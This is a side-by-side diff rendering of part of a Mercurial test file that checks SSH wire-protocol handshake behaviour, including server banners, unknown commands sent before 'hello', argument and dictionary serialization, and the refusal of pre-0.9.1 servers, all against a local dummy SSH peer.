157 | o> readline() -> 2: | |
158 | o> 1\n |
|
158 | o> 1\n | |
159 | o> readline() -> 1: |
|
159 | o> readline() -> 1: | |
160 | o> \n |
|
160 | o> \n | |
161 |
|
161 | |||
162 | SSH banner is not printed by default, ignored by clients |
|
162 | SSH banner is not printed by default, ignored by clients | |
163 |
|
163 | |||
164 | $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server |
|
164 | $ SSHSERVERMODE=banner hg debugpeer ssh://user@dummy/server | |
165 | url: ssh://user@dummy/server |
|
165 | url: ssh://user@dummy/server | |
166 | local: no |
|
166 | local: no | |
167 | pushable: yes |
|
167 | pushable: yes | |
168 |
|
168 | |||
169 | --debug will print the banner |
|
169 | --debug will print the banner | |
170 |
|
170 | |||
171 | $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server |
|
171 | $ SSHSERVERMODE=banner hg --debug debugpeer ssh://user@dummy/server | |
172 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
172 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
173 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
173 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
174 | devel-peer-request: hello+between |
|
174 | devel-peer-request: hello+between | |
175 | devel-peer-request: pairs: 81 bytes |
|
175 | devel-peer-request: pairs: 81 bytes | |
176 | sending hello command |
|
176 | sending hello command | |
177 | sending between command |
|
177 | sending between command | |
178 | remote: banner: line 0 |
|
178 | remote: banner: line 0 | |
179 | remote: banner: line 1 |
|
179 | remote: banner: line 1 | |
180 | remote: banner: line 2 |
|
180 | remote: banner: line 2 | |
181 | remote: banner: line 3 |
|
181 | remote: banner: line 3 | |
182 | remote: banner: line 4 |
|
182 | remote: banner: line 4 | |
183 | remote: banner: line 5 |
|
183 | remote: banner: line 5 | |
184 | remote: banner: line 6 |
|
184 | remote: banner: line 6 | |
185 | remote: banner: line 7 |
|
185 | remote: banner: line 7 | |
186 | remote: banner: line 8 |
|
186 | remote: banner: line 8 | |
187 | remote: banner: line 9 |
|
187 | remote: banner: line 9 | |
188 | remote: 413 |
|
188 | remote: 413 | |
189 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
189 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
190 | remote: 1 |
|
190 | remote: 1 | |
191 | devel-peer-request: protocaps |
|
191 | devel-peer-request: protocaps | |
192 | devel-peer-request: caps: * bytes (glob) |
|
192 | devel-peer-request: caps: * bytes (glob) | |
193 | sending protocaps command |
|
193 | sending protocaps command | |
194 | url: ssh://user@dummy/server |
|
194 | url: ssh://user@dummy/server | |
195 | local: no |
|
195 | local: no | |
196 | pushable: yes |
|
196 | pushable: yes | |
197 |
|
197 | |||
198 | And test the banner with the raw protocol |
|
198 | And test the banner with the raw protocol | |
199 |
|
199 | |||
200 | $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF |
|
200 | $ SSHSERVERMODE=banner hg -R server debugwireproto --localssh --peer raw << EOF | |
201 | > raw |
|
201 | > raw | |
202 | > hello\n |
|
202 | > hello\n | |
203 | > readline |
|
203 | > readline | |
204 | > readline |
|
204 | > readline | |
205 | > readline |
|
205 | > readline | |
206 | > readline |
|
206 | > readline | |
207 | > readline |
|
207 | > readline | |
208 | > readline |
|
208 | > readline | |
209 | > readline |
|
209 | > readline | |
210 | > readline |
|
210 | > readline | |
211 | > readline |
|
211 | > readline | |
212 | > readline |
|
212 | > readline | |
213 | > readline |
|
213 | > readline | |
214 | > readline |
|
214 | > readline | |
215 | > raw |
|
215 | > raw | |
216 | > between\n |
|
216 | > between\n | |
217 | > pairs 81\n |
|
217 | > pairs 81\n | |
218 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
218 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
219 | > readline |
|
219 | > readline | |
220 | > readline |
|
220 | > readline | |
221 | > EOF |
|
221 | > EOF | |
222 | using raw connection to peer |
|
222 | using raw connection to peer | |
223 | i> write(6) -> 6: |
|
223 | i> write(6) -> 6: | |
224 | i> hello\n |
|
224 | i> hello\n | |
225 | o> readline() -> 15: |
|
225 | o> readline() -> 15: | |
226 | o> banner: line 0\n |
|
226 | o> banner: line 0\n | |
227 | o> readline() -> 15: |
|
227 | o> readline() -> 15: | |
228 | o> banner: line 1\n |
|
228 | o> banner: line 1\n | |
229 | o> readline() -> 15: |
|
229 | o> readline() -> 15: | |
230 | o> banner: line 2\n |
|
230 | o> banner: line 2\n | |
231 | o> readline() -> 15: |
|
231 | o> readline() -> 15: | |
232 | o> banner: line 3\n |
|
232 | o> banner: line 3\n | |
233 | o> readline() -> 15: |
|
233 | o> readline() -> 15: | |
234 | o> banner: line 4\n |
|
234 | o> banner: line 4\n | |
235 | o> readline() -> 15: |
|
235 | o> readline() -> 15: | |
236 | o> banner: line 5\n |
|
236 | o> banner: line 5\n | |
237 | o> readline() -> 15: |
|
237 | o> readline() -> 15: | |
238 | o> banner: line 6\n |
|
238 | o> banner: line 6\n | |
239 | o> readline() -> 15: |
|
239 | o> readline() -> 15: | |
240 | o> banner: line 7\n |
|
240 | o> banner: line 7\n | |
241 | o> readline() -> 15: |
|
241 | o> readline() -> 15: | |
242 | o> banner: line 8\n |
|
242 | o> banner: line 8\n | |
243 | o> readline() -> 15: |
|
243 | o> readline() -> 15: | |
244 | o> banner: line 9\n |
|
244 | o> banner: line 9\n | |
245 | o> readline() -> 4: |
|
245 | o> readline() -> 4: | |
246 | o> 413\n |
|
246 | o> 413\n | |
247 | o> readline() -> 413: |
|
247 | o> readline() -> 413: | |
248 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
248 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
249 | i> write(98) -> 98: |
|
249 | i> write(98) -> 98: | |
250 | i> between\n |
|
250 | i> between\n | |
251 | i> pairs 81\n |
|
251 | i> pairs 81\n | |
252 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
252 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
253 | o> readline() -> 2: |
|
253 | o> readline() -> 2: | |
254 | o> 1\n |
|
254 | o> 1\n | |
255 | o> readline() -> 1: |
|
255 | o> readline() -> 1: | |
256 | o> \n |
|
256 | o> \n | |
257 |
|
257 | |||
258 | Connecting to a <0.9.1 server that doesn't support the hello command. |
|
258 | Connecting to a <0.9.1 server that doesn't support the hello command. | |
259 | The client should refuse, as we dropped support for connecting to such |
|
259 | The client should refuse, as we dropped support for connecting to such | |
260 | servers. |
|
260 | servers. | |
261 |
|
261 | |||
262 | $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server |
|
262 | $ SSHSERVERMODE=no-hello hg --debug debugpeer ssh://user@dummy/server | |
263 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
263 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
264 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
264 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
265 | devel-peer-request: hello+between |
|
265 | devel-peer-request: hello+between | |
266 | devel-peer-request: pairs: 81 bytes |
|
266 | devel-peer-request: pairs: 81 bytes | |
267 | sending hello command |
|
267 | sending hello command | |
268 | sending between command |
|
268 | sending between command | |
269 | remote: 0 |
|
269 | remote: 0 | |
270 | remote: 1 |
|
270 | remote: 1 | |
271 | abort: no suitable response from remote hg! |
|
271 | abort: no suitable response from remote hg! | |
272 | [255] |
|
272 | [255] | |
273 |
|
273 | |||
274 | Sending an unknown command to the server results in an empty response to that command |
|
274 | Sending an unknown command to the server results in an empty response to that command | |
275 |
|
275 | |||
276 | $ hg -R server debugwireproto --localssh --peer raw << EOF |
|
276 | $ hg -R server debugwireproto --localssh --peer raw << EOF | |
277 | > raw |
|
277 | > raw | |
278 | > pre-hello\n |
|
278 | > pre-hello\n | |
279 | > readline |
|
279 | > readline | |
280 | > raw |
|
280 | > raw | |
281 | > hello\n |
|
281 | > hello\n | |
282 | > readline |
|
282 | > readline | |
283 | > raw |
|
283 | > raw | |
284 | > between\n |
|
284 | > between\n | |
285 | > pairs 81\n |
|
285 | > pairs 81\n | |
286 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
286 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
287 | > readline |
|
287 | > readline | |
288 | > readline |
|
288 | > readline | |
289 | > EOF |
|
289 | > EOF | |
290 | using raw connection to peer |
|
290 | using raw connection to peer | |
291 | i> write(10) -> 10: |
|
291 | i> write(10) -> 10: | |
292 | i> pre-hello\n |
|
292 | i> pre-hello\n | |
293 | o> readline() -> 2: |
|
293 | o> readline() -> 2: | |
294 | o> 0\n |
|
294 | o> 0\n | |
295 | i> write(6) -> 6: |
|
295 | i> write(6) -> 6: | |
296 | i> hello\n |
|
296 | i> hello\n | |
297 | o> readline() -> 4: |
|
297 | o> readline() -> 4: | |
298 | o> 413\n |
|
298 | o> 413\n | |
299 | i> write(98) -> 98: |
|
299 | i> write(98) -> 98: | |
300 | i> between\n |
|
300 | i> between\n | |
301 | i> pairs 81\n |
|
301 | i> pairs 81\n | |
302 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
302 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
303 | o> readline() -> 413: |
|
303 | o> readline() -> 413: | |
304 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
304 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
305 | o> readline() -> 2: |
|
305 | o> readline() -> 2: | |
306 | o> 1\n |
|
306 | o> 1\n | |
307 |
|
307 | |||
308 | $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server |
|
308 | $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-no-args --debug debugpeer ssh://user@dummy/server | |
309 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
309 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
310 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
310 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
311 | sending no-args command |
|
311 | sending no-args command | |
312 | devel-peer-request: hello+between |
|
312 | devel-peer-request: hello+between | |
313 | devel-peer-request: pairs: 81 bytes |
|
313 | devel-peer-request: pairs: 81 bytes | |
314 | sending hello command |
|
314 | sending hello command | |
315 | sending between command |
|
315 | sending between command | |
316 | remote: 0 |
|
316 | remote: 0 | |
317 | remote: 413 |
|
317 | remote: 413 | |
318 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
318 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
319 | remote: 1 |
|
319 | remote: 1 | |
320 | devel-peer-request: protocaps |
|
320 | devel-peer-request: protocaps | |
321 | devel-peer-request: caps: * bytes (glob) |
|
321 | devel-peer-request: caps: * bytes (glob) | |
322 | sending protocaps command |
|
322 | sending protocaps command | |
323 | url: ssh://user@dummy/server |
|
323 | url: ssh://user@dummy/server | |
324 | local: no |
|
324 | local: no | |
325 | pushable: yes |
|
325 | pushable: yes | |
326 |
|
326 | |||
327 | Send multiple unknown commands before hello |
|
327 | Send multiple unknown commands before hello | |
328 |
|
328 | |||
329 | $ hg -R server debugwireproto --localssh --peer raw << EOF |
|
329 | $ hg -R server debugwireproto --localssh --peer raw << EOF | |
330 | > raw |
|
330 | > raw | |
331 | > unknown1\n |
|
331 | > unknown1\n | |
332 | > readline |
|
332 | > readline | |
333 | > raw |
|
333 | > raw | |
334 | > unknown2\n |
|
334 | > unknown2\n | |
335 | > readline |
|
335 | > readline | |
336 | > raw |
|
336 | > raw | |
337 | > unknown3\n |
|
337 | > unknown3\n | |
338 | > readline |
|
338 | > readline | |
339 | > raw |
|
339 | > raw | |
340 | > hello\n |
|
340 | > hello\n | |
341 | > readline |
|
341 | > readline | |
342 | > readline |
|
342 | > readline | |
343 | > raw |
|
343 | > raw | |
344 | > between\n |
|
344 | > between\n | |
345 | > pairs 81\n |
|
345 | > pairs 81\n | |
346 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
346 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
347 | > readline |
|
347 | > readline | |
348 | > readline |
|
348 | > readline | |
349 | > EOF |
|
349 | > EOF | |
350 | using raw connection to peer |
|
350 | using raw connection to peer | |
351 | i> write(9) -> 9: |
|
351 | i> write(9) -> 9: | |
352 | i> unknown1\n |
|
352 | i> unknown1\n | |
353 | o> readline() -> 2: |
|
353 | o> readline() -> 2: | |
354 | o> 0\n |
|
354 | o> 0\n | |
355 | i> write(9) -> 9: |
|
355 | i> write(9) -> 9: | |
356 | i> unknown2\n |
|
356 | i> unknown2\n | |
357 | o> readline() -> 2: |
|
357 | o> readline() -> 2: | |
358 | o> 0\n |
|
358 | o> 0\n | |
359 | i> write(9) -> 9: |
|
359 | i> write(9) -> 9: | |
360 | i> unknown3\n |
|
360 | i> unknown3\n | |
361 | o> readline() -> 2: |
|
361 | o> readline() -> 2: | |
362 | o> 0\n |
|
362 | o> 0\n | |
363 | i> write(6) -> 6: |
|
363 | i> write(6) -> 6: | |
364 | i> hello\n |
|
364 | i> hello\n | |
365 | o> readline() -> 4: |
|
365 | o> readline() -> 4: | |
366 | o> 413\n |
|
366 | o> 413\n | |
367 | o> readline() -> 413: |
|
367 | o> readline() -> 413: | |
368 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
368 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
369 | i> write(98) -> 98: |
|
369 | i> write(98) -> 98: | |
370 | i> between\n |
|
370 | i> between\n | |
371 | i> pairs 81\n |
|
371 | i> pairs 81\n | |
372 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
372 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
373 | o> readline() -> 2: |
|
373 | o> readline() -> 2: | |
374 | o> 1\n |
|
374 | o> 1\n | |
375 | o> readline() -> 1: |
|
375 | o> readline() -> 1: | |
376 | o> \n |
|
376 | o> \n | |
377 |
|
377 | |||
378 | $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server |
|
378 | $ hg --config sshpeer.mode=extra-handshake-commands --config sshpeer.handshake-mode=pre-multiple-no-args --debug debugpeer ssh://user@dummy/server | |
379 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) |
|
379 | running * "*/tests/dummyssh" 'user@dummy' 'hg -R server serve --stdio' (glob) (no-windows !) | |
380 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) |
|
380 | running * "*\tests/dummyssh" "user@dummy" "hg -R server serve --stdio" (glob) (windows !) | |
381 | sending unknown1 command |
|
381 | sending unknown1 command | |
382 | sending unknown2 command |
|
382 | sending unknown2 command | |
383 | sending unknown3 command |
|
383 | sending unknown3 command | |
384 | devel-peer-request: hello+between |
|
384 | devel-peer-request: hello+between | |
385 | devel-peer-request: pairs: 81 bytes |
|
385 | devel-peer-request: pairs: 81 bytes | |
386 | sending hello command |
|
386 | sending hello command | |
387 | sending between command |
|
387 | sending between command | |
388 | remote: 0 |
|
388 | remote: 0 | |
389 | remote: 0 |
|
389 | remote: 0 | |
390 | remote: 0 |
|
390 | remote: 0 | |
391 | remote: 413 |
|
391 | remote: 413 | |
392 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
392 | remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
393 | remote: 1 |
|
393 | remote: 1 | |
394 | devel-peer-request: protocaps |
|
394 | devel-peer-request: protocaps | |
395 | devel-peer-request: caps: * bytes (glob) |
|
395 | devel-peer-request: caps: * bytes (glob) | |
396 | sending protocaps command |
|
396 | sending protocaps command | |
397 | url: ssh://user@dummy/server |
|
397 | url: ssh://user@dummy/server | |
398 | local: no |
|
398 | local: no | |
399 | pushable: yes |
|
399 | pushable: yes | |
400 |
|
400 | |||
401 | Send an unknown command before hello that has arguments |
|
401 | Send an unknown command before hello that has arguments | |
402 |
|
402 | |||
403 | $ cd server |
|
403 | $ cd server | |
404 |
|
404 | |||
405 | $ hg debugwireproto --localssh --peer raw << EOF |
|
405 | $ hg debugwireproto --localssh --peer raw << EOF | |
406 | > raw |
|
406 | > raw | |
407 | > with-args\n |
|
407 | > with-args\n | |
408 | > foo 13\n |
|
408 | > foo 13\n | |
409 | > value for foo\n |
|
409 | > value for foo\n | |
410 | > bar 13\n |
|
410 | > bar 13\n | |
411 | > value for bar\n |
|
411 | > value for bar\n | |
412 | > readline |
|
412 | > readline | |
413 | > readline |
|
413 | > readline | |
414 | > readline |
|
414 | > readline | |
415 | > readline |
|
415 | > readline | |
416 | > readline |
|
416 | > readline | |
417 | > raw |
|
417 | > raw | |
418 | > hello\n |
|
418 | > hello\n | |
419 | > readline |
|
419 | > readline | |
420 | > readline |
|
420 | > readline | |
421 | > raw |
|
421 | > raw | |
422 | > between\n |
|
422 | > between\n | |
423 | > pairs 81\n |
|
423 | > pairs 81\n | |
424 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
424 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
425 | > readline |
|
425 | > readline | |
426 | > readline |
|
426 | > readline | |
427 | > EOF |
|
427 | > EOF | |
428 | using raw connection to peer |
|
428 | using raw connection to peer | |
429 | i> write(52) -> 52: |
|
429 | i> write(52) -> 52: | |
430 | i> with-args\n |
|
430 | i> with-args\n | |
431 | i> foo 13\n |
|
431 | i> foo 13\n | |
432 | i> value for foo\n |
|
432 | i> value for foo\n | |
433 | i> bar 13\n |
|
433 | i> bar 13\n | |
434 | i> value for bar\n |
|
434 | i> value for bar\n | |
435 | o> readline() -> 2: |
|
435 | o> readline() -> 2: | |
436 | o> 0\n |
|
436 | o> 0\n | |
437 | o> readline() -> 2: |
|
437 | o> readline() -> 2: | |
438 | o> 0\n |
|
438 | o> 0\n | |
439 | o> readline() -> 2: |
|
439 | o> readline() -> 2: | |
440 | o> 0\n |
|
440 | o> 0\n | |
441 | o> readline() -> 2: |
|
441 | o> readline() -> 2: | |
442 | o> 0\n |
|
442 | o> 0\n | |
443 | o> readline() -> 2: |
|
443 | o> readline() -> 2: | |
444 | o> 0\n |
|
444 | o> 0\n | |
445 | i> write(6) -> 6: |
|
445 | i> write(6) -> 6: | |
446 | i> hello\n |
|
446 | i> hello\n | |
447 | o> readline() -> 4: |
|
447 | o> readline() -> 4: | |
448 | o> 413\n |
|
448 | o> 413\n | |
449 | o> readline() -> 413: |
|
449 | o> readline() -> 413: | |
450 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
450 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
451 | i> write(98) -> 98: |
|
451 | i> write(98) -> 98: | |
452 | i> between\n |
|
452 | i> between\n | |
453 | i> pairs 81\n |
|
453 | i> pairs 81\n | |
454 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
454 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
455 | o> readline() -> 2: |
|
455 | o> readline() -> 2: | |
456 | o> 1\n |
|
456 | o> 1\n | |
457 | o> readline() -> 1: |
|
457 | o> readline() -> 1: | |
458 | o> \n |
|
458 | o> \n | |
459 |
|
459 | |||
460 | Send an unknown command having an argument that looks numeric |
|
460 | Send an unknown command having an argument that looks numeric | |
461 |
|
461 | |||
462 | $ hg debugwireproto --localssh --peer raw << EOF |
|
462 | $ hg debugwireproto --localssh --peer raw << EOF | |
463 | > raw |
|
463 | > raw | |
464 | > unknown\n |
|
464 | > unknown\n | |
465 | > foo 1\n |
|
465 | > foo 1\n | |
466 | > 0\n |
|
466 | > 0\n | |
467 | > readline |
|
467 | > readline | |
468 | > readline |
|
468 | > readline | |
469 | > readline |
|
469 | > readline | |
470 | > raw |
|
470 | > raw | |
471 | > hello\n |
|
471 | > hello\n | |
472 | > readline |
|
472 | > readline | |
473 | > readline |
|
473 | > readline | |
474 | > raw |
|
474 | > raw | |
475 | > between\n |
|
475 | > between\n | |
476 | > pairs 81\n |
|
476 | > pairs 81\n | |
477 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
477 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
478 | > readline |
|
478 | > readline | |
479 | > readline |
|
479 | > readline | |
480 | > EOF |
|
480 | > EOF | |
481 | using raw connection to peer |
|
481 | using raw connection to peer | |
482 | i> write(16) -> 16: |
|
482 | i> write(16) -> 16: | |
483 | i> unknown\n |
|
483 | i> unknown\n | |
484 | i> foo 1\n |
|
484 | i> foo 1\n | |
485 | i> 0\n |
|
485 | i> 0\n | |
486 | o> readline() -> 2: |
|
486 | o> readline() -> 2: | |
487 | o> 0\n |
|
487 | o> 0\n | |
488 | o> readline() -> 2: |
|
488 | o> readline() -> 2: | |
489 | o> 0\n |
|
489 | o> 0\n | |
490 | o> readline() -> 2: |
|
490 | o> readline() -> 2: | |
491 | o> 0\n |
|
491 | o> 0\n | |
492 | i> write(6) -> 6: |
|
492 | i> write(6) -> 6: | |
493 | i> hello\n |
|
493 | i> hello\n | |
494 | o> readline() -> 4: |
|
494 | o> readline() -> 4: | |
495 | o> 413\n |
|
495 | o> 413\n | |
496 | o> readline() -> 413: |
|
496 | o> readline() -> 413: | |
497 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
497 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
498 | i> write(98) -> 98: |
|
498 | i> write(98) -> 98: | |
499 | i> between\n |
|
499 | i> between\n | |
500 | i> pairs 81\n |
|
500 | i> pairs 81\n | |
501 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
501 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
502 | o> readline() -> 2: |
|
502 | o> readline() -> 2: | |
503 | o> 1\n |
|
503 | o> 1\n | |
504 | o> readline() -> 1: |
|
504 | o> readline() -> 1: | |
505 | o> \n |
|
505 | o> \n | |
506 |
|
506 | |||
507 | $ hg debugwireproto --localssh --peer raw << EOF |
|
507 | $ hg debugwireproto --localssh --peer raw << EOF | |
508 | > raw |
|
508 | > raw | |
509 | > unknown\n |
|
509 | > unknown\n | |
510 | > foo 1\n |
|
510 | > foo 1\n | |
511 | > 1\n |
|
511 | > 1\n | |
512 | > readline |
|
512 | > readline | |
513 | > readline |
|
513 | > readline | |
514 | > readline |
|
514 | > readline | |
515 | > raw |
|
515 | > raw | |
516 | > hello\n |
|
516 | > hello\n | |
517 | > readline |
|
517 | > readline | |
518 | > readline |
|
518 | > readline | |
519 | > raw |
|
519 | > raw | |
520 | > between\n |
|
520 | > between\n | |
521 | > pairs 81\n |
|
521 | > pairs 81\n | |
522 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
522 | > 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
523 | > readline |
|
523 | > readline | |
524 | > readline |
|
524 | > readline | |
525 | > EOF |
|
525 | > EOF | |
526 | using raw connection to peer |
|
526 | using raw connection to peer | |
527 | i> write(16) -> 16: |
|
527 | i> write(16) -> 16: | |
528 | i> unknown\n |
|
528 | i> unknown\n | |
529 | i> foo 1\n |
|
529 | i> foo 1\n | |
530 | i> 1\n |
|
530 | i> 1\n | |
531 | o> readline() -> 2: |
|
531 | o> readline() -> 2: | |
532 | o> 0\n |
|
532 | o> 0\n | |
533 | o> readline() -> 2: |
|
533 | o> readline() -> 2: | |
534 | o> 0\n |
|
534 | o> 0\n | |
535 | o> readline() -> 2: |
|
535 | o> readline() -> 2: | |
536 | o> 0\n |
|
536 | o> 0\n | |
537 | i> write(6) -> 6: |
|
537 | i> write(6) -> 6: | |
538 | i> hello\n |
|
538 | i> hello\n | |
539 | o> readline() -> 4: |
|
539 | o> readline() -> 4: | |
540 | o> 413\n |
|
540 | o> 413\n | |
541 | o> readline() -> 413: |
|
541 | o> readline() -> 413: | |
542 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
542 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
543 | i> write(98) -> 98: |
|
543 | i> write(98) -> 98: | |
544 | i> between\n |
|
544 | i> between\n | |
545 | i> pairs 81\n |
|
545 | i> pairs 81\n | |
546 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
546 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
547 | o> readline() -> 2: |
|
547 | o> readline() -> 2: | |
548 | o> 1\n |
|
548 | o> 1\n | |
549 | o> readline() -> 1: |
|
549 | o> readline() -> 1: | |
550 | o> \n |
|
550 | o> \n | |
551 |
|
551 | |||
552 | When sending a dict argument value, it is serialized to |
|
552 | When sending a dict argument value, it is serialized to | |
553 | "<arg> <item count>" followed by "<key> <len>\n<value>" for each item |
|
553 | "<arg> <item count>" followed by "<key> <len>\n<value>" for each item | |
554 | in the dict. |
|
554 | in the dict. | |
555 |
|
555 | |||
556 | Dictionary value for unknown command |
|
556 | Dictionary value for unknown command | |
557 |
|
557 | |||
558 | $ hg debugwireproto --localssh --peer raw << EOF |
|
558 | $ hg debugwireproto --localssh --peer raw << EOF | |
559 | > raw |
|
559 | > raw | |
560 | > unknown\n |
|
560 | > unknown\n | |
561 | > dict 3\n |
|
561 | > dict 3\n | |
562 | > key1 3\n |
|
562 | > key1 3\n | |
563 | > foo\n |
|
563 | > foo\n | |
564 | > key2 3\n |
|
564 | > key2 3\n | |
565 | > bar\n |
|
565 | > bar\n | |
566 | > key3 3\n |
|
566 | > key3 3\n | |
567 | > baz\n |
|
567 | > baz\n | |
568 | > readline |
|
568 | > readline | |
569 | > readline |
|
569 | > readline | |
570 | > readline |
|
570 | > readline | |
571 | > readline |
|
571 | > readline | |
572 | > readline |
|
572 | > readline | |
573 | > readline |
|
573 | > readline | |
574 | > readline |
|
574 | > readline | |
575 | > readline |
|
575 | > readline | |
576 | > raw |
|
576 | > raw | |
577 | > hello\n |
|
577 | > hello\n | |
578 | > readline |
|
578 | > readline | |
579 | > readline |
|
579 | > readline | |
580 | > EOF |
|
580 | > EOF | |
